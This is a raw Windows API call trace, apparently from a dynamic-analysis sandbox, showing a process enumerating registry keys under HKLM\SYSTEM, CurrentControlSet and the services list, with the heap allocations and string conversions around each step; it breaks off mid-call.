RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.949] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.949] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.949] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.949] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0228.949] RegCloseKey (hKey=0x80000002) returned 0x0 [0228.949] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0228.949] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0228.950] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0228.950] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.950] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0228.950] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0228.950] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1b68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0228.950] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.950] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0228.950] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0228.950] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1bf8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0228.950] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.950] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0228.950] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.950] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0228.951] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.951] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.951] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.951] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.951] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0228.951] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.951] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0228.951] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.951] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.951] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.951] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.951] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0228.951] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.951] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0228.951] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.951] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.951] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.951] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.951] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0228.951] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.951] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0228.951] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.951] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.951] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.951] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.952] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0228.952] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.952] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0228.952] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.952] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.952] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.952] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.952] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0228.952] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0228.952] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1bf8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0228.952] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.952] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.952] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.952] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.952] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0228.952] RegCloseKey (hKey=0xc4) returned 0x0 [0228.952] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0228.952] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.952] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0228.952] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.952] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.952] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.953] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0228.953] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.953] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0228.953] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.953] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0228.953] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0228.953] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1b68, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0228.953] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.953] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0228.953] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.953] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0228.953] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.953] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0228.953] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0228.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.954] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0228.954] RegCloseKey (hKey=0x148) returned 0x0 [0228.954] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0228.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0228.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0228.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.954] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0228.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0228.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1b68, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0228.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.954] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0228.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0228.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1bf8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0228.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.955] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0228.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0228.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1b68, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0228.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.955] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0228.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0228.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1bf8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0228.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.955] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0228.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0228.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1b68, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", 